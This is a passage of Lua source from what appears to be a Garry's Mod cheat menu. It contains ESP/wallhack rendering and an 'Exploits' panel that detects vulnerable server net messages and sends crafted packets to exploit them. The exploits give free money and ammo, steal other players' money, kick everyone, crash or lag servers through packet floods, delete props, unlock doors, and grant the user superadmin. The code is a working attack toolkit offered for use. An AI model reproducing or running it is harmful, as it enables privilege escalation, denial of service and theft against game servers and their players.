6527[5] = { Name = "Exploits", Func = function( pContent )
6528pContent:Clear()
6529BD:Exploits( pContent )
6530BD.BtnHovered = 5
6531end },
6532[6] = { Name = "Backdoors", Func = function( pContent )
6533LocalPlayer():ConCommand("fiji_bckdrs")
6534BDMenu:Remove()
6535BD.BtnHovered = 1
6536end },
6537[7] = { Name = "Options", Func = function( pContent )
6538pContent:Clear()
6539BD:Options( pContent )
6540BD.BtnHovered = 7
6541end },
6542}
6543local pList = vgui.Create( "DScrollPanel", BDMenu )
6544pList:SetSize( 150, BDMenu:GetTall() - 40 )
6545pList:SetPos( 5, 58 )
6546
6547local pContent = vgui.Create( "DPanel", BDMenu )
6548pContent:SetSize( 539, 388 )
6549pContent:SetPos( 155, 6 )
6550pContent.Paint = function( self, w, h)
6551draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6552end
6553
6554for k,v in SortedPairs( tblSideBar or {} ) do
6555local btn = vgui.Create( "DButton", pList )
6556btn:Dock( TOP )
6557btn:SetSize( pList:GetWide(), 48)
6558btn:SetText( "" )
6559function btn:Paint( w, h )
6560local col = Color( 255, 255, 255, 150 )
6561if not self:IsHovered() || BD.BtnHovered == k then
6562
6563draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,0 ) )
6564else
6565draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,10 ) )
6566end
6567if BD.BtnHovered == k then
6568draw.RoundedBox( 0, 0, 0, w, h, Color( 27, 27, 27, 0 ) )
6569if fiji_style_menu:GetInt() == 2 then
6570draw.RoundedBox( 0, 0, 0, w, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6571elseif fiji_style_menu:GetInt() == 1 then
6572draw.RoundedBox( 0, 0, 0, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6573else
6574draw.RoundedBox( 0, 0, 0, w, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6575end
6576
6577if k != #tblSideBar && k + 1 != BD.BtnHovered then
6578if fiji_style_menu:GetInt() == 2 then
6579draw.RoundedBox( 0, 0, h - 2, w, 5, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6580elseif fiji_style_menu:GetInt() == 1 then
6581draw.RoundedBox( 0, 0, h - 2, w, 5, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6582else
6583draw.RoundedBox( 0, 0, h - 2, w, 5, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6584end
6585end
6586else
6587draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,8 ) )
6588end
6589if fiji_exist_contentevil:GetInt() == 0 then
6590draw.SimpleText( v['Name'], "evil_home3", w / 2, h / 2, col, 1, 1 )
6591else end
6592end
6593btn.OnCursorEntered = function(self)
6594if fiji_exist_contentevil:GetInt() == 1 then --
6595surface.PlaySound( "mat/evilhover.wav" )
6596else end
6597end
6598function btn:DoClick()
6599if fiji_exist_contentevil:GetInt() == 1 then
6600surface.PlaySound( "mat/evilclick.wav" )
6601else
6602end
6603v['Func']( pContent )
6604end
6605end
6606tblSideBar[ BD.BtnHovered ]['Func']( pContent )
6607
6608
6609
6610end)
6611
6612
6613-- Esp Props
6614hook.Add( "HUDPaint", "PropESP", function()
6615for k,v in pairs (ents.FindByClass("prop_physics")) do
6616if fiji_vision_enable_props:GetInt() == 0 then return end
6617if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_props:GetInt() then continue end
6618if v:GetPos():Distance( LocalPlayer():GetPos() ) < 90 then continue end
6619
6620cam.Start3D(EyePos(), EyeAngles())
6621if v:IsValid() then
6622cam.IgnoreZ( true )
6623render.SuppressEngineLighting( true )
6624render.SetColorModulation( fiji_principal_color_props:GetInt(), fiji_secondary_color_props:GetInt(), fiji_third_color_props:GetInt(), 255)
6625render.SetBlend(0.3)
6626v:DrawModel()
6627cam.IgnoreZ( false )
6628render.SuppressEngineLighting( false )
6629cam.End3D()
6630end
6631end
6632
6633end)
6634
6635-- Esp Players
6636-- Renders
6637function BD:Bones( tbl )
6638for k,v in pairs( tbl ) do
6639if v == LocalPlayer() then continue end
6640if not v:Alive() then continue end
6641for i = 0, v:GetBoneCount() - 1 do
6642local pos = v:GetBonePosition( i )
6643if ( pos == v:GetPos() && v:GetBoneMatrix( i ) ) then
6644pos = v:GetBoneMatrix( i ):GetTranslation()
6645end
6646if ( v:GetBoneName( i ) == "__INVALIDBONE__" ) then continue end
6647if ( v:GetBoneMatrix( i ) ) then
6648cam.Start3D( EyePos(), EyeAngles() )
6649for id, bone in pairs( v:GetChildBones( i ) ) do
6650
6651local pos2 = v:GetBonePosition( bone )
6652if ( pos2 == v:GetPos() && v:GetBoneMatrix( bone ) ) then
6653pos2 = v:GetBoneMatrix( bone ):GetTranslation()
6654end
6655render.DrawLine( pos, pos2, Color(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), false )
6656end
6657cam.End3D()
6658end
6659end
6660end
6661end
6662hook.Add( "PostDrawOpaqueRenderables", "BD:Hitman:Infos", function()
6663if fiji_vision_enable:GetInt() == 0 then return end
6664local tblPlayers = {}
6665for k,v in pairs( player.GetAll() ) do
6666if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_infos:GetInt() then continue end
6667table.insert( tblPlayers, v )
6668end
6669BD:Name( tblPlayers )
6670end)
6671BD.WeaponBlacklist = {
6672['keys'] = true,
6673['weapon_physgun'] = true,
6674['weapon_keypadchecker'] = true,
6675['arrest_stick'] = true,
6676['unarrest_stick'] = true,
6677['stunstick'] = true,
6678['weaponchecker'] = true,
6679['itemstore_pickup'] = true,
6680['weapon_physcannon'] = true,
6681['gmod_camera'] = true,
6682['gmod_tool'] = true,
6683['pocket'] = true,
6684}
6685function BD:Name( tbl )
6686ply = LocalPlayer()
6687for k,v in pairs( tbl ) do
6688if !IsValid( v ) then continue end
6689if v == ply then continue end
6690if not v:Alive() then continue end
6691if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_infos:GetInt() then continue end
6692local pos = v:GetPos()
6693pos.z = pos.z + 90
6694local trace = LocalPlayer():GetEyeTrace()
6695local angle = trace.HitNormal:Angle()
6696cam.Start3D2D( pos, Angle( 0, LocalPlayer():EyeAngles().y - 90, 90 - LocalPlayer():EyeAngles().x ), 0.2 )
6697if fiji_vision_infos_name:GetInt() == 1 then
6698draw.SimpleText( "Nom : " .. v:Nick(), "evil_home3", 0, 0, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6699end
6700if fiji_vision_infos_weapons:GetInt() == 1 then
6701local wep = v:GetWeapons()
6702local strText = ""
6703for k,v in pairs( wep ) do
6704if !IsValid( v ) then continue end
6705if BD.WeaponBlacklist[ v:GetClass() ] then continue end
6706strText = strText .. v:GetClass() .. ", "
6707end
6708strText = string.sub( strText, 1, string.len( strText ) - 2 )
6709draw.SimpleText( "Armes : " .. strText, "evil_home3", 0, 15, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6710end
6711if fiji_vision_infos_health:GetInt() == 1 then
6712draw.SimpleText( "Vie : " .. v:Health(), "evil_home3", 0, 35, Color(fiji_principal_color_infos:GetInt(), fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(), 255 ), 1 )
6713end
6714cam.End3D2D()
6715end
6716end
6717hook.Add( "HUDPaint", "BD:Hitman:HUDPaint", function()
6718if fiji_vision_enable:GetInt() == 0 then return end
6719local tblPlayers = {}
6720for k,v in pairs( player.GetAll() ) do
6721if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance:GetInt() then continue end
6722table.insert( tblPlayers, v )
6723end
6724if fiji_vision_type:GetInt() == 1 then
6725BD:Bones( tblPlayers )
6726end
6727end)
6728-- Solid
6729local matSolid = CreateMaterial( "BD_Hitman_Solid", "UnlitGeneric", { ["$model"] = 1, ["$ignorez"] = 1 } )
6730hook.Add( "PrePlayerDraw", "BD:Hitman:Solid", function( pPlayer )
6731if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() ) <= fiji_vision_distance:GetInt() then
6732
6733render.MaterialOverride( matSolid )
6734render.SetColorModulation(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt())
6735end
6736end )
6737hook.Add( "PostPlayerDraw", "BD:Hitman:Solid", function( pPlayer )
6738if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() ) <= fiji_vision_distance:GetInt() then
6739render.MaterialOverride()
6740end
6741end)
6742-- Halos
6743hook.Add( "PreDrawHalos", "BD:Hitman:Glow", function()
6744if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt() == 3 then
6745
6746local tblPlayers = {}
6747for k,v in pairs( player.GetAll() ) do
6748if not v == LocalPlayer() then return end
6749if not v:Alive() then continue end
6750if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance:GetInt() then continue end
6751table.insert( tblPlayers, v )
6752end
6753halo.Add( tblPlayers, Color(fiji_principal_color:GetInt(), fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), 2, 2, 5, true, true )
6754end
6755end)
6756
6757--[[HTMLGUI = vgui.Create( "HTML", BDMenu )
6758HTMLGUI:SetSize( 75,55 )
6759HTMLGUI:SetPos( 45,2 )
6760HTMLGUI:OpenURL( "")
6761]]--
6762
6763
6764
6765---------------------------------------------------------------------------------------------------------
6766---------------------------------------------------------------------------------------------------------
6767
6768
6769
6770function BD:Exploits( pContent )
6771
6772
6773local BDMenuExploits = vgui.Create("DPanel", pContent)
6774BDMenuExploits:SetSize( 539, 388 )
6775BDMenuExploits:SetPos( 0, 0 )
6776BDMenuExploits.Paint = function( self, w, h)
6777if fiji_style_menu:GetInt() == 2 then
6778draw.RoundedBox( 0, 0, 0, 2, h - 142, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6779draw.RoundedBox( 0, 0, 290, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6780
6781elseif fiji_style_menu:GetInt() == 1 then
6782draw.RoundedBox( 0, 0, 0, 2, h - 142, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6783draw.RoundedBox( 0, 0, 290, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6784
6785
6786else
6787draw.RoundedBox( 0, 0, 0, 2, h - 142, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6788draw.RoundedBox( 0, 0, 290, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6789end
6790
6791
6792end
6793
6794
6795if not snte then
6796function draw.OutlinedBox( x, y, w, h, thickness, clr )
6797surface.SetDrawColor( clr )
6798for i=0, thickness - 1 do
6799surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
6800end
6801end
6802
6803
6804local exploitsScrollPanel = vgui.Create( "DScrollPanel", pContent )
6805exploitsScrollPanel:SetPos(10,0)
6806exploitsScrollPanel:SetSize(520,388)
6807exploitsScrollPanel:InnerWidth(0)
6808local sbar = exploitsScrollPanel:GetVBar()
6809function exploitsScrollPanel:Paint( w, h )
6810draw.SimpleText("Exploits that you can use on this server :", "evil_home3", 160, 10, Color(255, 255, 255,200), 0, 1)
6811
6812draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
6813end
6814function sbar:Paint( w, h )
6815draw.RoundedBox( 0, 4, 0, w, h, Color( 110,110,110, 20 ) )
6816end
6817function sbar.btnUp:Paint( w, h )
6818draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6819end
6820function sbar.btnDown:Paint( w, h )
6821draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6822end
6823function sbar.btnGrip:Paint( w, h )
6824draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
6825end
6826--NOTIFICATION("Exploit lançé")
6827totalSploits = 0
6828function addExploit(id, text, desc, func)
6829totalSploits = 1 + totalSploits
6830local id = vgui.Create( "DButton", exploitsScrollPanel )
6831id:SetText( text )
6832id:SetFont("Arial")
6833id:Dock( TOP )
6834id:DockMargin( 0, 39, 0, -37 )
6835id:DockPadding( 0, 30, 0, 0 )
6836id.DoClick = func
6837
6838
6839
6840
6841
6842if desc then
6843end
6844id.Paint = function( self, w, h )
6845
6846id.OnCursorEntered = function(self)
6847end
6848if id:IsHovered() then
6849
6850
6851
6852
6853if fiji_style_menu:GetInt() == 2 then
6854id:SetTextColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6855surface.SetDrawColor(Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6856surface.DrawOutlinedRect( 0, 0, w, h )
6857draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6858elseif fiji_style_menu:GetInt() == 1 then
6859id:SetTextColor( HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6860surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6861surface.DrawOutlinedRect( 0, 0, w, h )
6862draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6863elseif fiji_style_menu:GetInt() == 3 then
6864id:SetTextColor( Color( 255, 255, 255, 255 ) )
6865surface.SetDrawColor(110,110,110, 30)
6866surface.DrawOutlinedRect( 0, 0, w, h )
6867draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6868else
6869id:SetTextColor( Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6870surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
6871surface.DrawOutlinedRect( 0, 0, w, h )
6872draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
6873end
6874
6875
6876
6877else
6878id:SetTextColor( Color( 255, 255, 255, 40 ) )
6879surface.SetDrawColor(110,110,110, 0)
6880surface.DrawOutlinedRect( 0, 0, w, h )
6881draw.RoundedBox( 0, 0, 0, w, h, Color(110,110,110, 10))
6882end
6883
6884end
6885end
6886
6887//////////////////// [EXPLOITS] ////////////////////
6888status = ValidNetString("TCBBuyAmmo")
6889if (status) then
6890CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
6891addExploit( "1","Munitions Gratuites", "", function()
6892surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Getting Le Ammo")
6893--("Exploit lançé")
6894for k,v in pairs(GAMEMODE.AmmoTypes) do
6895net.Start("TCBBuyAmmo")
6896net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
6897net.SendToServer()
6898end
6899end)
6900end
6901
6902status = ValidNetString("DataSend")
6903if (status) then
6904CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
6905addExploit( "2","Voler L'argents De Tous #1", "", function()
6906surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
6907for k, v in pairs( ents.GetAll() ) do
6908if v:GetClass() == "adv_moneyprinter" then
6909CHATPRINT("Collecting Money")
6910net.Start("DataSend")
6911net.WriteFloat(2)
6912net.WriteEntity(v)
6913net.WriteEntity(LocalPlayer())
6914net.SendToServer()
6915end
6916end
6917end)
6918end
6919
6920
6921status = ValidNetString("FarmingmodSellItems")
6922if (status) then
6923CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
6924addExploit( "3","Argent Gratuite", "", function()
6925--("Exploit lançé")
6926surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Enjoy the b1g monies")
6927net.Start("FarmingmodSellItems")
6928net.WriteTable(
6929{
6930Cost = 10,
6931CropModel = "models/props/eryk/garlic.mdl",
6932CropType = 2,
6933Info = "Garlic Seed",
6934Model = "models/props/eryk/seedbag.mdl",
6935Name = "Garlic",
6936Quality = 4,
6937Sell = 99999,
6938Type = "Seed"
6939}
6940)
6941net.WriteInt(1,16)
6942net.SendToServer()
6943end)
6944end
6945
6946status = ValidNetString("start_wd_emp")
6947if (status) then
6948CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
6949addExploit( "4","Hack Keypad", "", function()
6950surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
6951net.Start("start_wd_emp")
6952net.SendToServer()
6953end)
6954end
6955
6956status = ValidNetString("duelrequestguiYes")
6957if (status) then
6958CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
6959addExploit( "5","Recevoir De L'Argent", "", function()
6960surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Exploit lançé")
6961net.Start("duelrequestguiYes")
6962net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
6963net.WriteEntity(table.Random( player.GetAll() ) )
6964net.WriteString("Crossbow")
6965net.SendToServer()
6966end)
6967end
6968
6969status = ValidNetString("DarkRP_Kun_ForceSpawn")
6970if (status) then
6971CHATPRINT("Exploit Trouvé : ReSpawn #1 [DarkRP_Kun_ForceSpawn]")
6972addExploit( "6", "ReSpawn #1", "", function()
6973surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("ReSpawn")
6974net.Start("DarkRP_Kun_ForceSpawn")
6975net.SendToServer()
6976end)
6977end
6978
6979status = ValidNetString("SyncPrinterButtons76561198056171650")
6980if (status) then
6981CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
6982addExploit( "7","Voler L'argents De Tous #2", "", function()
6983surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Collecting Money")
6984for k, v in pairs(ents.GetAll()) do
6985if (v:GetClass() == "adv_moneyprinter") then
6986net.Start("SyncPrinterButtons76561198056171650")
6987net.WriteEntity(v)
6988net.WriteUInt(2, 4)
6989net.SendToServer()
6990end
6991end
6992end)
6993end
6994---------------------------------------------------------------------------------------------
6995local function report()
6996for i = 1, 2000 do
6997net.Start("DL_Answering")
6998net.SendToServer()
6999end
7000end
7001
7002if (Damagelog) then
7003CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
7004reportSpam = 0
7005addExploit( "1337","Kick Tous Le Monde", "", function()
7006surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if (reportSpam == 0) then
7007--("Starting Kicker")
7008reportSpam = 1
7009timer.Create("reportSpammer", 0.05, 0, report)
7010else
7011--("Stopping Kicker")
7012reportSpam = 0
7013timer.Remove("reportSpammer")
7014end
7015
7016end)
7017end
7018----------------------------------------------------------------------------------------------
7019
7020status = ValidNetString("SimplicityAC_aysent")
7021if (status) then
7022CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
7023addExploit( "8","Crash #1", "", function()
7024surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Goodbye Server")
7025local tbl = {}
7026for i=1,400 do
7027tbl[i] = i
7028end
7029net.Start("SimplicityAC_aysent")
7030net.WriteUInt(1, 8)
7031net.WriteUInt(4294967295, 32)
7032net.WriteTable(tbl)
7033net.SendToServer()
7034end)
7035end
7036
7037status = ValidNetString("RevivePlayer")
7038if (status) then
7039CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
7040addExploit( "9", "Reanimation #1", "", function()
7041surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "reanimation1" ) then
7042--( "Enabled" )
7043timer.Create( "reanimation1", 0.5, 0, function()
7044if !LocalPlayer():Alive() then
7045net.Start("RevivePlayer")
7046net.WriteEntity(LocalPlayer())
7047net.SendToServer()
7048end
7049end)
7050else
7051timer.Remove( "reanimation1" )
7052--( "Disabled" )
7053end
7054end )
7055end
7056
7057status = ValidNetString("NLRKick")
7058if (status) then
7059CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
7060addExploit( "10","Kick Tous Le Monde", "", function()
7061surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Kicking All")
7062for k,v in pairs(player.GetAll()) do
7063if v != LocalPlayer() then
7064net.Start("NLRKick")
7065net.WriteEntity(v)
7066net.SendToServer()
7067end
7068end
7069end)
7070end
7071
7072status = ValidNetString("timebombDefuse")
7073if (status) then
7074CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
7075addExploit( "11","Supprimer Tous Les Props", "", function()
7076surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Props De_Stroyed")
7077for k,v in pairs(ents.GetAll()) do
7078net.Start("timebombDefuse")
7079net.WriteEntity(v)
7080net.WriteBool(true)
7081net.SendToServer()
7082end
7083end)
7084end
7085
7086status = ValidNetString("NDES_SelectedEmblem")
7087if (status) then
7088CHATPRINT("Exploit Trouvé : Crée Des Lags #2 [NDES_SelectedEmblem]")
7089addExploit( "12","Crée Des Lags #2", "", function()
7090surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger2" ) then
7091timer.Create("lagger2", 0.5, 0, function()
7092for i=1, 2000 do
7093net.Start("NDES_SelectedEmblem",true)
7094net.WriteString("seized")
7095net.SendToServer()
7096end
7097end)
7098--("Lags Démarré")
7099else
7100timer.Remove("lagger2")
7101--("Lags Arreté")
7102end
7103end)
7104end
7105
7106status = ValidNetString("Morpheus.StaffTracker")
7107if (status) then
7108CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
7109addExploit( "13","Crasher #1", "", function()
7110surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "crasher1" ) then
7111timer.Create("crasher1", 0.5, 0, function()
7112for i=1, 2000 do
7113net.Start("Morpheus.StaffTracker")
7114net.SendToServer()
7115end
7116end)
7117--("Crashing Server")
7118else
7119timer.Remove("crasher1")
7120--( "Canceling Crasher" )
7121end
7122end)
7123end
7124
7125status = ValidNetString("egg")
7126if (status) then
7127CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
7128addExploit( "14","Recevoir Les Easter Eggs", "", function()
7129surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") RunConsoleCommand("say", "4bigz")
7130RunConsoleCommand("cc_egg2")
7131net.Start("egg")
7132net.SendToServer()
7133--("Gave Easter Egg")
7134end)
7135end
7136
7137status = ValidNetString("pplay_deleterow")
7138if (status) then
7139CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
7140addExploit( "15","Devenir SuperAdmin", "", function()
7141surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") local id = LocalPlayer():SteamID()
7142local tbl = {}
7143tbl.name = "FAdmin_PlayerGroup"
7144tbl.where = {
7145"steamid",
7146tostring(id)
7147}
7148
7149net.Start("pplay_deleterow")
7150net.WriteTable(tbl)
7151net.SendToServer()
7152local tbl = {}
7153tbl.tblname = "FAdmin_PlayerGroup"
7154tbl.tblinfo = {
7155tostring(id),
7156"superadmin"
7157}
7158net.Start("pplay_addrow")
7159net.WriteTable(tbl)
7160net.SendToServer()
7161--("promotion ;)")
7162end)
7163end
7164
7165-- TTT Bypass Report by daddy grampa
7166
7167local function CheckChild(pan)
7168local title = "You have been reported! Please answer all your reports."
7169if !pan || !IsValid(pan) then return end
7170if pan.GetTitle && pan:GetTitle() == title then
7171pan:Remove();
7172print("Removed warning box")
7173return
7174end
7175for k,v in pairs(pan:GetChildren()) do
7176if v.GetTitle && v:GetTitle() == title then
7177v:Remove();
7178print("Removed warning box")
7179return
7180end
7181if #v:GetChildren() > 0 then
7182CheckChild(v)
7183end
7184end
7185end
7186
7187if (engine.ActiveGamemode() == "terrortown") then
7188bypass = 0
7189CHATPRINT("Exploit Trouvé : TTT Bypass Report")
7190addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
7191surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if (bypass == 0) then
7192hook.Add("Think", "remove_ttt_report", function()
7193local pan = vgui.GetHoveredPanel()
7194CheckChild(pan)
7195end)
7196--("Enabled Report Bypass")
7197bypass = 1
7198else
7199hook.Remove("Think", "remove_ttt_report")
7200--("Disabled Report Bypass")
7201bypass = 0
7202end
7203end)
7204end
7205
7206status = ValidNetString("EZS_PlayerTag")
7207if (status) then
7208CHATPRINT("Exploit Trouvé : Crée Des Lags #3 [EZS_PlayerTag]")
7209addExploit( "17","Crée Des Lags #3", "", function()
7210surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger3" ) then
7211timer.Create("lagger3", 0.5, 0, function()
7212for k, v in pairs(player.GetAll()) do
7213net.Start("EZS_PlayerTag",true)
7214net.WriteEntity(v)
7215net.WriteString("Seized")
7216net.SendToServer()
7217timer.Simple(2, function()
7218net.Start("EZS_PlayerTag",true)
7219net.WriteEntity(v)
7220net.WriteString("Seized")
7221net.SendToServer()
7222end)
7223end
7224end)
7225--("Lags Démarré")
7226else
7227timer.Remove("lagger3")
7228--("Lags Arreté")
7229end
7230end)
7231end
7232
7233if ConVarExists("advttt_spreadovertime_enabled") then
7234CHATPRINT("Exploit Trouvé : NoSpread")
7235addExploit( "18","NoSpread", "", function()
7236surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
7237--("Spread Removed")
7238end)
7239end
7240
7241status = ValidNetString("fp_as_doorHandler")
7242if (status) then
7243CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
7244addExploit( "19","Ouvrir La Porte", "", function()
7245surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") net.Start("fp_as_doorHandler")
7246net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7247net.WriteString("unlock")
7248net.SendToServer()
7249--("Portes Ouverte")
7250end)
7251end
7252
7253status = ValidNetString("fp_as_doorHandler")
7254if (status) then
7255addExploit( "20","Fermer La Porte", "", function()
7256surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") net.Start("fp_as_doorHandler")
7257net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7258net.WriteString("lock")
7259net.SendToServer()
7260--("Portes Ouverte")
7261end)
7262end
7263
7264status = ValidNetString("fp_as_doorHandler")
7265if (status) then
7266addExploit( "21","Supprimer Le Propriétaire", "", function()
7267surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") local door = LocalPlayer():GetEyeTrace().Entity
7268local doorOwner = door:getDoorData()["owner"]
7269net.Start("fp_as_doorHandler")
7270net.WriteEntity(door)
7271net.WriteString("removeOwner")
7272net.WriteDouble(doorOwner)
7273net.SendToServer()
7274--("Portes Ouverte")
7275end)
7276end
7277
7278status = ValidNetString("VJSay")
7279if (status) then
7280CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
7281addExploit( "22","VJSay [OLD]", "", function()
7282surface.PlaySound( "mat/evilclick.wav" ) inputFrame2Exists = true
7283inputFrame2 = vgui.Create( "DFrame" )
7284inputFrame2:SetTitle("Entrer votre message")
7285inputFrame2:SetSize( 400, 75 )
7286inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
7287inputFrame2:SetDraggable(true)
7288inputFrame2:ShowCloseButton(false)
7289inputFrame2:MakePopup()
7290inputFrame2.Paint = function( self, w, h )
7291DrawBlur(self, blur_effect:GetInt())
7292
7293draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0,230))
7294end
7295
7296local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
7297TextEntry2:SetSize( 380, 30 )
7298TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
7299TextEntry2:SetText( "Broadcast Msg" )
7300TextEntry2.OnEnter = function( self )
7301surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Broadcasting")
7302net.Start("VJSay")
7303net.WriteEntity(nil)
7304net.WriteString(TextEntry2:GetValue())
7305net.WriteString("")
7306net.SendToServer()
7307inputFrame2:SetVisible(false)
7308end
7309end)
7310end
7311
7312status = ValidNetString("ply_pick_shit")
7313if (status) then
7314CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
7315addExploit( "23","Argent Gratuite amirite", "", function()
7316surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k, v in pairs (player.GetAll()) do
7317for i = 1,255 do
7318net.Start("ply_pick_shit")
7319net.WriteEntity(LocalPlayer())
7320net.WriteEntity(v)
7321net.SendToServer()
7322end
7323end
7324--("Des thunes :^)")
7325end)
7326end
7327
